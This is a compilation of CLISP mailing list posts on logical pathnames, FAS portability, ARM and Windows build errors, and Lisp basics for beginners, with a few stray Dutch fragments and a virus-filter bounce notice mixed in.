>    for (; bt != NULL; bt = bt->bt_next)
>      gc_mark(bt->bt_function);
>  });
>
> Hmm - gcc and the debugger must be confused due to the preprocessing 
> step from D to C ...
>
> Any ideas?
>
> Thx!!!!
>
> Frank
>
>
>
>
>



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Hello, all!

This is clisp/wind32:

[1]> (open "d:/qwe")

*** - OPEN: file #P"D:\\qwe" does not exist
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [2]>


This is clisp/cygwin:


[1]> (open "d:/qwe")
*** - nonexistent directory: #P"/"
The following restarts are available:
ABORT          :R1      ABORT

Is the different behaviour intentional? Is it configurable?

Thanks in advance for any help.

Best regards,
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Vadim Konovalov <vadrer@gmail.com> writes:

> Hello, all!
>
> This is clisp/wind32:
>
> [1]> (open "d:/qwe")
>
> *** - OPEN: file #P"D:\\qwe" does not exist
> The following restarts are available:
> ABORT          :R1      ABORT
> Break 1 [2]>
>
>
> This is clisp/cygwin:
>
>
> [1]> (open "d:/qwe")
> *** - nonexistent directory: #P"/"
> The following restarts are available:
> ABORT          :R1      ABORT
>
> Is the different behaviour intentional? 

Yes.

> Is it configurable?

Yes.

On clisp/win32 use:

    (setf (logical-pathname-translations "MYFILES") nil)
    (setf (logical-pathname-translations "MYFILES") 
       (list (list #P"MYFILES:**;*.*" #P"D:\\**\\*.*")
             (list #P"MYFILES:**;*"   #P"D:\\**\\*")))


On clisp/cygwin use:

    (setf (logical-pathname-translations "MYFILES") nil)
    (setf (logical-pathname-translations "MYFILES") 
       (list (list #P"MYFILES:**;*.*" #P"/cygdrive/d/**/*.*")
             (list #P"MYFILES:**;*"   #P"/cygdrive/d/**/*")))


Then on both you can write:

    (open #P"MYFILES:QWE")


Alternatively, you can write the translations in a file, and use:

(LOAD-LOGICAL-PATHNAME-TRANSLATIONS "MYFILES")
(open #P"MYFILES:QWE")



The big advantage of logical pathnames, is that if you want to run
your program on unix, you can then just change the logical pathname
translation, and have it run without any problem on unix:

    (setf (logical-pathname-translations "MYFILES") nil)
    (setf (logical-pathname-translations "MYFILES") 
       (list (list #P"MYFILES:**;*.*" #P"/opt/myapp/**/*.*")
             (list #P"MYFILES:**;*"   #P"/opt/myapp/**/*")))


And then:

    (open #P"MYFILES:QWE")

will open the right file on unix too.




Have a look at the clisp implementation notes:

    http://clisp.cons.org/impnotes/filename-dict.html

and CLHS:

    http://www.lispworks.com/documentation/HyperSpec/Body/f_ld_log.htm


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Pascal Bourguignon <pjb@informatimago.com> writes:

> Vadim Konovalov <vadrer@gmail.com> writes:
>
>> Hello, all!
>>
>> This is clisp/wind32:
>>
>> [1]> (open "d:/qwe")
>>
>> *** - OPEN: file #P"D:\\qwe" does not exist
>> The following restarts are available:
>> ABORT          :R1      ABORT
>> Break 1 [2]>
>>
>>
>> This is clisp/cygwin:
>>
>>
>> [1]> (open "d:/qwe")
>> *** - nonexistent directory: #P"/"
>> The following restarts are available:
>> ABORT          :R1      ABORT
>>
>> Is the different behaviour intentional? 
>
> Yes.
>
>> Is it configurable?
>
> Yes.
> [...]
> Alternatively, you can write the translations in a file, and use:
>
> (LOAD-LOGICAL-PATHNAME-TRANSLATIONS "MYFILES")
> (open #P"MYFILES:QWE")

Let me give a complete example here.

The logical pathname translation files are found in:
   CUSTOM:*LOAD-LOGICAL-PATHNAME-TRANSLATIONS-DATABASE* 


You can use the symbols in *features* to know on what platform you
are.  So for example, you could have three files in the user home
directory (or some other directory, for example it could be the same
directory where the application loader file is found, that is
*LOAD-PATHNAME*).

(push (make-pathname :name  #+(and win32 cygwin)       "CYGWIN" 
                            #+(and win32 (not cygwin)) "WIN32"
                            #+(and (not win32) unix)   "UNIX"
                     :type "LPT" :version nil :case :common
                     :defaults (user-homedir-pathname)) 
      custom:*load-logical-pathname-translations-database*)

;; Note: when you have cygwin, you have both win32 and unix in *features*...
;; See http://clisp.cons.org/impnotes/system-dict.html


Now, you can have three files:

-------(~/win32.lpt)----------------------------------------------------

"MYAPP"    (list (list "MYAPP:**;*.*" "D:\\MYAPP\\**\\*.*")
                 (list "MYAPP:**;*"   "D:\\MYAPP\\**\\*"))

"UFILES"   (list (list "UFILES:**;*.*" (merge-pathnames "MYAPP\\**\\*.*"
                                         (user-homedir-pathname) nil))
                 (list "UFILES:**;*"   (merge-pathnames "MYAPP\\**\\*"
                                         (user-homedir-pathname) nil)))

-------(~/cygwin.lpt)---------------------------------------------------

"MYAPP"    (list (list "MYAPP:**;*.*" "/cygdrive/d/myapp/**/*.*")
                 (list "MYAPP:**;*"   "/cygdrive/d/myapp/**/*.*"))

"UFILES"   (list (list "UFILES:**;*.*" (merge-pathnames "./myapp/**/*.*"
                                         (user-homedir-pathname) nil))
                 (list "UFILES:**;*"   (merge-pathnames "./myapp/**/*"
                                         (user-homedir-pathname) nil)))

-------(~/unix.lpt)-----------------------------------------------------

"MYAPP"    (list (list "MYAPP:**;*.*" "/opt/myapp/**/*.*")
                 (list "MYAPP:**;*"   "/opt/myapp/**/*"))

"UFILES"   (list (list "UFILES:**;*.*" (merge-pathnames "./myapp/**/*.*"
                                         (user-homedir-pathname) nil))
                 (list "UFILES:**;*"   (merge-pathnames "./myapp/**/*"
                                         (user-homedir-pathname) nil)))

------------------------------------------------------------------------

An alternative would be to have only one file, with #+... in it.



Then you can:


C/USER[25]> (progn (load-logical-pathname-translations "MYAPP")
                   (load-logical-pathname-translations "UFILES"))
;; Loading logical hosts from file /home/pjb/unix.lpt ...
;; Defined logical host MYAPP
;; Defined logical host UFILES
;; Loaded file /home/pjb/unix.lpt
T
C/USER[26]> (translate-logical-pathname "UFILES:CONFIG.DAT")
#P"/home/pjb/myapp/config.dat"
C/USER[27]> (translate-logical-pathname "MYAPP:LOADER.LISP")
#P"/opt/myapp/loader.lisp"
C/USER[28]> 


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Hello!
Is it possible to cross-compile CLISP?
Well, what I really want is the complete guide to CLISP cross-compilation :)
Googled for it, but found little information.
Are FAS-files processor-independent? 
If not, I guess it's not enough to just compile with, say, arm-gcc,
it's necessary to tell CLISP to compile FASes also for ARM...

Sincerely yours,
Dmitri 



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Dmitri Hrapof wrote:
> Is it possible to cross-compile CLISP?

what for?
historically, it was once possible to compile CLISP with GCL (for
extremely weak machines where interpreted CLISP consumed all RAM), but
it has been removed years ago (see src/ChangeLog):

2002-09-25  Sam Steingold  <sds@gnu.org>

	* compiler.lisp: removed the cross-compilation infrastructure,
	which was not used for over 10 years!



> Are FAS-files processor-independent? 
yes.

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any chance your needs are satisfied by the :script option to
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Sam Steingold пишет:
>> Is it possible to cross-compile CLISP?
>>     
> what for?
In order to put it on a smartphone (OpenMoko).
As I understand it, I have two options:
either compile it right inside the phone (or inside the emulator), using 
native gcc;
or cross-compile it (--build=i386, --host=arm).
There is CLISP package for Zaurus, but it seems to me author had to 
compile it on the PDA, which is rather awkward IMHO.
>> Are FAS-files processor-independent? 
>>     
> yes.
O, eto uze cto-to! Spasibo za otvet,
Dmitri


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Konovalov, Vadim Vladimirovich (Vadim)** CTR ** пишет:
>> emulator), using native gcc; or cross-compile it 
>> (--build=i386, --host=arm).
>>     
> Did you mean --target=arm ? --host=i386
>   
Hm, IMHO '--target=x' means "produce compiler that makes executables for x",
'--host=x' means "produce program that is able to run on x" and 
'--build=x' means "we are building on x".
As FAS files are processor-independent and CLISP is practically a 
virtual machine, we need '--host', not '--target'.
Am I wrong?
>> O, eto uze cto-to! Spasibo za otvet,
>>     
> Minu so~naraamat on va:ike, sinu so~naraamat on suur!
> Ma oskan eesti keelt natukene, hakkame ra:a:gima!
>   
Yn wir? Mae llawer o ieithoedd 'da chi, mae'n dda iawn!


Voobse-to Sam znaet russkij :)

S uvazeniem,
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Dmitri Hrapof wrote:
> O, eto uze cto-to! Spasibo za otvet,

[this is at least something! thanks for answering,]

daber anglit!

Please write here in English.
While the CLISP project was started in Germany (and there are still many
German comments and variable names in the code), the official language
of the project is English.
Using other languages in the mailing lists and patches is actively
discouraged because it reduces their usefulness to most of us.
If you would like to write something in a "foreign" (== non-English :-))
language (you will often see French and German phrases around here),
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Hi,
Sam steingold answered:
>> Are FAS-files processor-independent?=20
>yes.

This is an important feature to some, and I'm glad to see that Sam still
is commited to portability of .fas files.

Commiting to portability on user's .fas files has consequences on how
CLISP implements some code.  My pet example is:
(defmacro ext:with-keyboard (&body body) ; in keyboard.lisp
  `(sys::exec-with-keyboard (lambda () (progn .,body))))
I.e. the body is wrapped in a thunk.
WITH-KEYBOARD may not expand itself to some unwind-protect, because the
details of the implementation vary across the supported platforms.

Note however, that the .fas files that serve to build CLISP's image are
not portable.  They contain platform- and build-specific code.  You are
not guaranteed to be able to take e.g. init.fas from MS-Windows and use
that on Linux.

That implies that in a portability context, you'll need to have your
future Zaurus lisp.run compile in interpreted mode all .lisp files that
serve to build CLISP's lispinit.mem.  That will need more RAM than when
you start CLISP with a compiled lispinit.mem, so an emulator with plenty
of RAM is a good thing.

Some files may work.  E.g. macros3.fas presumably, because it looks no
different from user code.  It does not depend on internals.  Same for
loop.fas.  We simply do not want to specify exactly what file is
portable and which is not.

Regards,
	Jorg Hohle


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Hoehle, Joerg-Cyril wrote:
> Commiting to portability on user's .fas files has consequences on how
> CLISP implements some code.  My pet example is:
> (defmacro ext:with-keyboard (&body body) ; in keyboard.lisp
>   `(sys::exec-with-keyboard (lambda () (progn .,body))))
> I.e. the body is wrapped in a thunk.
> WITH-KEYBOARD may not expand itself to some unwind-protect, because the
> details of the implementation vary across the supported platforms.
> 
> Note however, that the .fas files that serve to build CLISP's image are
> not portable.  They contain platform- and build-specific code.  You are
> not guaranteed to be able to take e.g. init.fas from MS-Windows and use
> that on Linux.

indeed, but the FILE FORMAT is the same, i.e., if you compile init.lisp
or keyboard.lisp on Linux like this:

(let ((*features* (cons :win32 (remove :unix *features*))))
  (compile-file "init.lisp")
  (compile-file "keyboard.lisp"))

the resulting FAS files should be usable on woe32 (but useless on Linux)

> That implies that in a portability context, you'll need to have your
> future Zaurus lisp.run compile in interpreted mode all .lisp files that
> serve to build CLISP's lispinit.mem.

I don't think so.
I think all you need to do is to ensure that your *features* is correct
for Zaurus when you cross-compile on (say) Linux.

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I am following Mr. Buß's instructions on building a Windows CLISP version 
(http://www.frank-buss.de/lisp/clisp.html).  The instructions are really good 
and clear, except that I run into an error on the step when I call configure.

test `echo '(print (+ 11 99))' | lisp.exe -B . -Efile UTF-8 -Eterminal UTF-8 -
Emisc 1:1 -norc -q -M lispinit.mem -` = 110 || exit 1
/bin/sh.exe: test: =: unary operator expected
make: *** [check-script] Error 1

I can bypass this error by commenting out line 3190 of src\makemake.in, and I 
get no further errors.  The rest of the instructions work fine, including 
creating the test program message.exe, which runs correctly.

However, CLISP does not seem to work quite right.  For instance, I cannot get 
the REPL, and calling it with command line options such as "-h", "--help", "--
version", "--license" do nothing.  I suspect CLISP is having difficulty 
detecting the standard output and input streams, so anything that depends on 
those fails.

Please advise.  Thank-you.



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David Mercer <dmercer <at> alum.mit.edu> writes:
. . .
> I run into an error on the step when I call configure.
. . .

I might be an idiot.  Perhaps this is what Mr. Buß meant by, "The build fails 
at the first 'test' call, if you applied the patch, because the console-less 
application doesn't print values to stdout, but the build of the program 
istself is completed."

I had read that and thought, "I never applied a patch," so it didn't occur to 
me that this line was telling me to expect an error, and that I am, in fact, 
building a console-less application.  My confusion was that there was never a 
step called "apply the patch," though I imagine that is what this line which I 
executed is doing:

cat /clisp-2.38.patch | patch -p1

That being said, unless I am not, in fact, an idiot, and that I have not really 
discovered the source of my problem, I think you can ignore my original post.  
Sorry.



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Via deze blog maakten we al melding van dit initiatief van CDA'er Jos
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de de relatie tussen de onderdelen van KT en MT? next generation contact
center? In dit design is een overzichtelijkere structuur met duidelijke
verwijzingen aangebracht. Dit leidt weer tot een tevreden klant.
Geef uw vakantie data en die van uw medewerkers door.

Dat blijkt uit Europees onderzoek naar klantenservice in de zakelijke
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Andere uitkomsten uit recent onderzoek van Vodafone: vrouwen laten vaker
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integratie van nieuwe technologie? Concreet betekent dit, dat veel
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contactcenters die geen callcenter zijn? Echter tot mijn verbazing is
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l sterk naar de waarde van de klant wordt gekeken. Dat is bijzonder
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> Dear Clispers,
> I get a compile done, but when the Makefile calls
> 
> ./lisp,run ...
> 
> for the first run I get a memory fault with resulting coredump.
> Regards
>      Frank
> 

This patch should help:
http://sourceforge.net/tracker/index.php?func=detail&aid=1607416&group_id=1355&atid=101355

regards,
larry liimatainen



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Sam Steingold wrote:
>(let ((*features* (cons :win32 (remove :unix *features*))))
>> That implies that in a portability context, you'll need to have your
>> future Zaurus lisp.run compile in interpreted mode all .lisp=20
>> files that serve to build CLISP's lispinit.mem.
>I don't think so.
>I think all you need to do is to ensure that your *features* is correct
>for Zaurus when you cross-compile on (say) Linux.

Wasn't there a place where even C's sizeof(setjmp_buf) shines through to
some Lisp structure? Or where was that? (walking the stack frames?)

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	Jorg Hohle.


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Hoehle, Joerg-Cyril wrote:
> Sam Steingold wrote:
>> (let ((*features* (cons :win32 (remove :unix *features*))))
>>> That implies that in a portability context, you'll need to have your
>>> future Zaurus lisp.run compile in interpreted mode all .lisp 
>>> files that serve to build CLISP's lispinit.mem.
>> I don't think so.
>> I think all you need to do is to ensure that your *features* is correct
>> for Zaurus when you cross-compile on (say) Linux.
> 
> Wasn't there a place where even C's sizeof(setjmp_buf) shines through to
> some Lisp structure? Or where was that? (walking the stack frames?)

system::*jmpbuf-size* indeed exists, but it is never used.
system::*big-endian* is actually used in compiler.lisp, so you will need
to set it in addition to *features* before compiling.
at any rate, this is getting sufficiently interesting no, so that if the
OP does try to do this, he should write a log for inclusion into the manual.

it is mentioned in the bytecode spec doc/impbyte.xml though.

I guess it is used for interpreting the bytecodes, which are platform
independent.


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Greetings,

I am a very new LISPer and wanted to get some basics.

There are a few things requested of me for a company that will use Common LISP
(or Scheme). The company came to me because of giving me an oppurtunity to
learn CL on a small project. Scince I don't know anything any help would be
most appreciated.

I am very confused on how to save the program, what to use for comments in code
and how to save things so I can move them from PC to PC.

Any help or resources would be most appreciated.

:)



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>
> I am a very new LISPer and wanted to get some basics.

Are you specifically looking at clisp (this Lisp _implementation_) or
just any Common Lisp implementation in general? For this kind of
general problem, a good place to go to is the comp.lang.lisp newsgroup
(see groups.google.com/group/comp.lang.lisp for example).

> There are a few things requested of me for a company that will use Common LISP
> (or Scheme). The company came to me because of giving me an oppurtunity to

Cool, if it's alright, are you allowed to say what company this is?

> learn CL on a small project. Scince I don't know anything any help would be
> most appreciated.
>
> I am very confused on how to save the program, what to use for comments in code
> and how to save things so I can move them from PC to PC.

Save program? You can save the source files, then use load every time
you start up (and you can put those into a startup file, eg
~/.clisprc). If the files are compiled into a fast loading format
(.fas or .fasl etc), they can load faster. There're also system
managers like asdf or defsystem that can handle this while taking care
of dependencies/load order among files.

Alternatively, you can save an image of your current 'environment' --
functions, packages, global variables, classes, objects, everything!
into a memory image, and load that - it's quite quick. Source files,
fas files, and images are normally portable across different operating
systems, but probably won't be portable to newer versions of the same
Lisp implementation.

> Any help or resources would be most appreciated.

In general, search the newsgroup for save image, load, compile and
startup files. Watch out for the ambiguity when people say clisp -- do
they mean Common Lisp or the clisp implementation by Haible/Stoll
(what this list is about)? This is one of my pet peeves. We should
probably add the suffix and call it clisp-hs, like some projects do.

Also search for tutorial, book, (Practical Common Lisp is available
online). For clisp-hs specific help, read the implementation notes on
the website clisp.cons.org

> :)


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audio@usfamily.net writes:

> Greetings,
>
> I am a very new LISPer and wanted to get some basics.

Welcome!

> There are a few things requested of me for a company that will use Common LISP
> (or Scheme). The company came to me because of giving me an oppurtunity to
> learn CL on a small project. Scince I don't know anything any help would be
> most appreciated.

http://www.cliki.net/
http://www.cliki.net/Education
http://www.cliki.net/Online+Tutorials

http://www.cliki.net/Lisp%20books
http://www.lispworks.com/documentation/HyperSpec/Front/index.htm


clisp is a specific implementation of Common Lisp. This mail-list is
specific to clisp.  There are a lot of other Common Lisp implementations:

http://www.cliki.net/Common%20Lisp%20implementation

clisp is a good implementation, but depending on what you have to
program, you may need to use another implementation.


> I am very confused on how to save the program, 
> and how to save things so I can move them from PC to PC.

While one can play directly with the lisp image in the REPL, programs
are usually edited with an editor outside of the lisp image, and saved
in files in the host OS.  Then these files are loaded or compiled in
the lisp image.

One could implement some tools to have an image based development
process similar to what is usually done in Smalltalk (eg in squeak),
(have a look at
http://www.informatimago.com/develop/lisp/small-cl-pgms/ibcl/ 
but it's just a toy)


Better use emacs and slime as lisp IDE.


> what to use for comments in code

In Common Lisp there are three ways to "comment" stuff.

The semi-colon character is a reader macro that skips over
_characters_ till the end of the line.  This allows you to comment
random text.  There is a convention in the number of semi-colon used,
but only the first semi-colon is significant for the Common Lisp
implementation; however this convention is respected by most lisp
aware editors to indent differently these comments:

;;;; Big headers ,left justified

;;; Section headers, left justified

(progn
  ;; Code comment, justed as code around it
  (print 'hi)                        ; line comment, justified 
                                     ; on some fixed column by default
  (print 'done))



Then there is the #| reader dispatching macro characters, that allows
you to comment sections of code (or random test), recursively:

(progn
    #| (print 'hi
           #| 'ho ; wouldn't "ho" be better here? |#) 
    |#
    (print 'done))

The #|...|# must be balanced.


Finally, you can ignore some form with the #+ and #- reader dispatching macros. 

     #+ test form
or:  #- test form

Tests for the presence of keywords in the *FEATURES* list (may be a
boolean expression), and if the test is successful (for #+) or fails
(for #-), the read the form, otherwise skips over the form.  The form
must have balanced parentheses, but otherwise may contain mostly
random characters.

(and) returns true, and (or) returns false, therefore we can comment
out a form with #-(and), or #+(or):


 (progn
   #-(and)(print 'hi)
   (print 'done))



> Any help or resources would be most appreciated.

In addition to cliki where almost everything is referenced from, you
can ask general Common Lisp questions on news:comp.lang.lisp and
irc://irc.freenode.org/#lisp


If you choose to use the clisp implementation, have a look at
http://clisp.cons.org/ 
the clisp implementation notes: http://clisp.cons.org/impnotes.html
and the clisp FAQ:              http://clisp.cons.org/impnotes/faq.html
and of course, you may further ask here about clisp.

-- 
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Sehr geehrte Damen und Herren,

in dem E-Mail mit dem Betreff '[clisp-list] July 4th Family Day'
(gesendet am Tue, 3 Jul 2007 17:32:42 -0500) mit der angegebenen
Absenderadresse '"riversongs.Com" <ykpxw@marathonoil.com>' wurde der
Virus 'Email.Phishing.RB-1222' gefunden.
Aus diesem Grund wurde die E-Mail nicht zugestellt!

Ihr Inode-Team
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Dear Ladies and Gentlemen,

the mail with the Subject '[clisp-list] July 4th Family Day'
(sent on Tue, 3 Jul 2007 17:32:42 -0500) with the sender address
specified as '"riversongs.Com" <ykpxw@marathonoil.com>' contained a virus
known as 'Email.Phishing.RB-1222'.
Due to this reason the Mail has not been delivered!

Your Inode-Team
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Podal Pradeepkumar J <podalpradeepkumar_j@infosys.com> reported this.
His platform is x86_64-unknown-linux2.6.21-gnu-glibc2.6.


Hi

Given below are the error messages given when I run  

make check 

during installation of CLISP. I don't know what is going wrong and I m
still learning LISP

Please help


(PROGN (SETQ S1 (OPEN "t1.plc")) (SETQ S2 (OPEN "t2.plc")) (SETQ S3
(OPEN "t3.plc")) (SETQ S4 (OPEN "t4.plc")) (SETQ S5 (OPEN "t5.plc"))
(SETQ C1 (MAKE-CONCATENATED-STREAM S1 S2 S3)) (SETQ C2
(MAKE-CONCATENATED-STREAM S4 S5)) T)

*** - handle_fault error2 ! address = 0x0 not in
[0x333a51000,0x333e89a90) !
SIGSEGV cannot be cured. Fault address = 0x0.
Permanently allocated: 150584 bytes.
Currently in use: 10713296 bytes.
Free space: 3700 bytes.
gmake[1]: *** [tests] Segmentation fault
gmake[1]: Leaving directory
`/home/Pradeep/Desktop/clisp-2.41/build-with-gcc/tests'
make: *** [check-tests] Error 2



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Podal Pradeepkumar J (by way of Bruno Haible <bruno@clisp.org>) wrote:
> Podal Pradeepkumar J <podalpradeepkumar_j@infosys.com> reported this.
> His platform is x86_64-unknown-linux2.6.21-gnu-glibc2.6.
> 
> Given below are the error messages given when I run  
> 
> make check 
> 
> during installation of CLISP. I don't know what is going wrong and I m
> still learning LISP
> 
> 
> (PROGN (SETQ S1 (OPEN "t1.plc")) (SETQ S2 (OPEN "t2.plc")) (SETQ S3
> (OPEN "t3.plc")) (SETQ S4 (OPEN "t4.plc")) (SETQ S5 (OPEN "t5.plc"))
> (SETQ C1 (MAKE-CONCATENATED-STREAM S1 S2 S3)) (SETQ C2
> (MAKE-CONCATENATED-STREAM S4 S5)) T)
> 
> *** - handle_fault error2 ! address = 0x0 not in
> [0x333a51000,0x333e89a90) !
> SIGSEGV cannot be cured. Fault address = 0x0.
> Permanently allocated: 150584 bytes.
> Currently in use: 10713296 bytes.
> Free space: 3700 bytes.
> gmake[1]: *** [tests] Segmentation fault
> gmake[1]: Leaving directory
> `/home/Pradeep/Desktop/clisp-2.41/build-with-gcc/tests'
> make: *** [check-tests] Error 2

wfm
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Hi,

I've been trying to get CLISP up and running on a Nokia N800 internet 
tablet, which runs one of the usual little debian-based Linux 
distributions. While I've had some success getting CLISP proper running 
(configure settings and make check-recompile timings below) I can't get 
it to build with FFI or any of the standard base modules. Can anyone 
offer any suggestions?

The following might shed some light on the problems:
When I run configure (CFLAGS set to -DSAFETY=3 -mcpu=arm1136j-s, no 
other configure options) mostly everything looks OK, but near the end of 
the process, vacall-arm.s fails to assemble with:

make[1]: Entering directory `/root/clisp-2.41/src/callback/vacall_r'
/bin/sh ./libtool --mode=compile gcc -x none -c vacall-arm.s
 gcc -x none -c vacall-arm.s -o vacall-arm.o
vacall-arm.s: Assembler messages:
vacall-arm.s:3: Warning: ignoring attempt to redefine built-in register 'sl'
vacall-arm.s:3: Warning: ignoring attempt to redefine built-in register 'SL'
vacall-arm.s:4: Warning: ignoring attempt to redefine built-in register 'fp'
vacall-arm.s:4: Warning: ignoring attempt to redefine built-in register 'FP'
vacall-arm.s:5: Warning: ignoring attempt to redefine built-in register 'ip'
vacall-arm.s:5: Warning: ignoring attempt to redefine built-in register 'IP'
vacall-arm.s:6: Warning: ignoring attempt to redefine built-in register 'sp'
vacall-arm.s:6: Warning: ignoring attempt to redefine built-in register 'SP'
vacall-arm.s:7: Warning: ignoring attempt to redefine built-in register 'lr'
vacall-arm.s:7: Warning: ignoring attempt to redefine built-in register 'LR'
vacall-arm.s:8: Warning: ignoring attempt to redefine built-in register 'pc'
vacall-arm.s:8: Warning: ignoring attempt to redefine built-in register 'PC'
vacall-arm.s:77: Error: selected processor does not support `ldfeqs f0,[sp,#20]'
vacall-arm.s:81: Error: selected processor does not support `ldfeqd f0,[sp,#20]'
make[1]: *** [vacall-arm.lo] Error 1
make[1]: Leaving directory `/root/clisp-2.41/src/callback/vacall_r'
make: *** [all-subdirs] Error 2
Configure findings:
  FFI:        no (user requested: default)
  readline:   yes (user requested: default)
  libsigsegv: yes

This appears to be complaining about a pretty simple float-point load 
instruction; later ARMs have different FPUs (or none, in the more common 
case) but as far as I knew they all supported at least the instruction 
set of the original ARMv2 FPU. Does anyone know of a working vacall-arm?

However, configure completes regardless, and it's happy from that point 
to compile CLISP itself. Unfortunately, although it can compile the main 
program no problem, and produces a pretty decent working version, it 
can't compile any of the modules, all of which fail with syntax errors 
in clisp.h. I'm not sure why this breaks; I gather clisp.h is 
autogenerated, but presumably it's generated much the same regardless of 
the fine details of the platform? In any case, I don't think I'm 
expecting this to work too well until vacall works. For now, if I remove 
the modules from the base modules list in the Makefile, then make clisp 
etc. all work nicely.

For the platforms list, make check-recompile on a Nokia N800 Internet 
tablet finishes successfully as:

ARM 1136J-S, 128M RAM, gcc 3.4.4, 339 seconds (306 user, 12 sys), all 
running from SD card instead of internal flash.

CFLAGS are as above, no configure options, but anyone else trying it 
will want to set the TMP environment variable to point to a space on 
SD/disk, not leave it pointing to /tmp in core.

-- Jamie Craig
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Jamie Craig wrote:
> 
> The following might shed some light on the problems:
> When I run configure (CFLAGS set to -DSAFETY=3 -mcpu=arm1136j-s, no 

"./configure --with-debug" is the more standard way to get -DSAFETY=3
(if you really need it).
what happens when you drop it?

> make[1]: Entering directory `/root/clisp-2.41/src/callback/vacall_r'
> /bin/sh ./libtool --mode=compile gcc -x none -c vacall-arm.s
>  gcc -x none -c vacall-arm.s -o vacall-arm.o
> vacall-arm.s: Assembler messages:
> vacall-arm.s:3: Warning: ignoring attempt to redefine built-in register 'sl'
> vacall-arm.s:3: Warning: ignoring attempt to redefine built-in register 'SL'
> vacall-arm.s:4: Warning: ignoring attempt to redefine built-in register 'fp'
> vacall-arm.s:4: Warning: ignoring attempt to redefine built-in register 'FP'
> vacall-arm.s:5: Warning: ignoring attempt to redefine built-in register 'ip'
> vacall-arm.s:5: Warning: ignoring attempt to redefine built-in register 'IP'
> vacall-arm.s:6: Warning: ignoring attempt to redefine built-in register 'sp'
> vacall-arm.s:6: Warning: ignoring attempt to redefine built-in register 'SP'
> vacall-arm.s:7: Warning: ignoring attempt to redefine built-in register 'lr'
> vacall-arm.s:7: Warning: ignoring attempt to redefine built-in register 'LR'
> vacall-arm.s:8: Warning: ignoring attempt to redefine built-in register 'pc'
> vacall-arm.s:8: Warning: ignoring attempt to redefine built-in register 'PC'
> vacall-arm.s:77: Error: selected processor does not support `ldfeqs f0,[sp,#20]'
> vacall-arm.s:81: Error: selected processor does not support `ldfeqd f0,[sp,#20]'
> make[1]: *** [vacall-arm.lo] Error 1
> make[1]: Leaving directory `/root/clisp-2.41/src/callback/vacall_r'
> make: *** [all-subdirs] Error 2
> Configure findings:
>   FFI:        no (user requested: default)
>   readline:   yes (user requested: default)
>   libsigsegv: yes
> 
> This appears to be complaining about a pretty simple float-point load 
> instruction; later ARMs have different FPUs (or none, in the more common 
> case) but as far as I knew they all supported at least the instruction 
> set of the original ARMv2 FPU. Does anyone know of a working vacall-arm?

I know nothing about assembly, FPU &c, but I will happily accept a
working patch :-)

> However, configure completes regardless, and it's happy from that point 
> to compile CLISP itself. Unfortunately, although it can compile the main 
> program no problem, and produces a pretty decent working version, it 
> can't compile any of the modules, all of which fail with syntax errors 
> in clisp.h. I'm not sure why this breaks; I gather clisp.h is 
> autogenerated, but presumably it's generated much the same regardless of 
> the fine details of the platform? In any case, I don't think I'm 
> expecting this to work too well until vacall works. For now, if I remove 
> the modules from the base modules list in the Makefile, then make clisp 
> etc. all work nicely.

actually, modules do not require FFI, so I would like to see the errors
you get from clisp.h (in fact, no base module uses FFI specifically
because CLISP supports more platforms than FFI does).

> ARM 1136J-S, 128M RAM, gcc 3.4.4, 339 seconds (306 user, 12 sys), all 
> running from SD card instead of internal flash.

thanks.
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On Wed, Jul 11, 2007 at 09:20:12AM -0400, Sam Steingold wrote:
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> Jamie Craig wrote:
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> > The following might shed some light on the problems:
> > When I run configure (CFLAGS set to -DSAFETY=3 -mcpu=arm1136j-s, no 
> 
> "./configure --with-debug" is the more standard way to get -DSAFETY=3
> (if you really need it).
> what happens when you drop it?

I get a binary that crashes (segfault) when it tries to compile one of 
the first few LISP files. (defs? I'll check and get back to you on 
that.) With -DSAFETY=3 it works nicely, so I wasn't inclined to blame 
that on anything other than a slightly ropey platform generally. The 
unix/PLATFORMS file suggests checking out the setjmp/longjmp stuff, but 
I didn't see anything blindingly obviously wrong there. It's pretty hard 
to read through, that said. I could easily be missing something - is 
there anything specific I should be looking for in lispbibl.d?


> > Configure findings:
> >   FFI:        no (user requested: default)
> >   readline:   yes (user requested: default)
> >   libsigsegv: yes
> > 
> > This appears to be complaining about a pretty simple float-point load 
> > instruction; later ARMs have different FPUs (or none, in the more common 
> > case) but as far as I knew they all supported at least the instruction 
> > set of the original ARMv2 FPU. Does anyone know of a working vacall-arm?
> 
> I know nothing about assembly, FPU &c, but I will happily accept a
> working patch :-)

I do know ARM integer assembly, but strangely have never used the FPU, 
so I'm probably no real help there. Might be worth my while just 
dropping float from vacall and seeing if it works more generally - even 
a slightly broken FFI beats none.

> > expecting this to work too well until vacall works. For now, if I remove 
> > the modules from the base modules list in the Makefile, then make clisp 
> > etc. all work nicely.
> 
> actually, modules do not require FFI, so I would like to see the errors
> you get from clisp.h (in fact, no base module uses FFI specifically
> because CLISP supports more platforms than FFI does).

OK, excellent. That should be something fixable, then.
The output from make when it tries compiling various bits of the modules 
(much the same messages for all the modules) is:

make[1]: Entering directory `/root/clisp-2.41/src/syscalls'
gcc  -DSAFETY=3 -mcpu=arm1136j-s -W -Wswitch -Wcomment -Wpointer-arith 
-Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 
-DUNICODE -I. -I.. -c calls.m.c -o calls.o
In file included from calls.c:20:
../clisp.h:255: error: syntax error before "obj"
../clisp.h: In function `check_uint_defaulted':
../clisp.h:255: warning: implicit declaration of function `missingp'
../clisp.h:255: error: `obj' undeclared (first use in this function)
../clisp.h:255: error: (Each undeclared identifier is reported only once
../clisp.h:255: error: for each function it appears in.)
../clisp.h:255: error: `defolt' undeclared (first use in this function)
../clisp.h:255: warning: implicit declaration of function `I_to_uint'
../clisp.h:255: warning: implicit declaration of function `check_uint'
calls.c: At top level:
calls.c:113: error: syntax error before "gcv_object_t"
calls.c:113: warning: no semicolon at end of struct or union
calls.c:119: warning: type defaults to `int' in declaration of 
`_object_K2_char_term'
calls.c:119: warning: data definition has no type or storage class
calls.c:122: error: syntax error before "_object_K2_c_bind"
calls.c:122: warning: type defaults to `int' in declaration of 
`_object_K2_c_bind'

<repeats with small variations in what's being declared>

clisp.h line 255 looks pretty inoffensive:

static inline unsigned int check_uint_defaulted (object obj, unsigned 
int defolt) { return missingp(obj) ? defolt : 
I_to_uint(check_uint(obj)); }

and it seems to be the word "object" that it objects to (although 
there's an object* type used 4 lines earlier in

#define subr_rest_function_args  (uintC argcount, object* 
rest_args_pointer)

that doesn't bother the compiler at all)

Any suggestions will be gratefully received.

-- Jamie Craig
<jamie@jamiecraig.com>


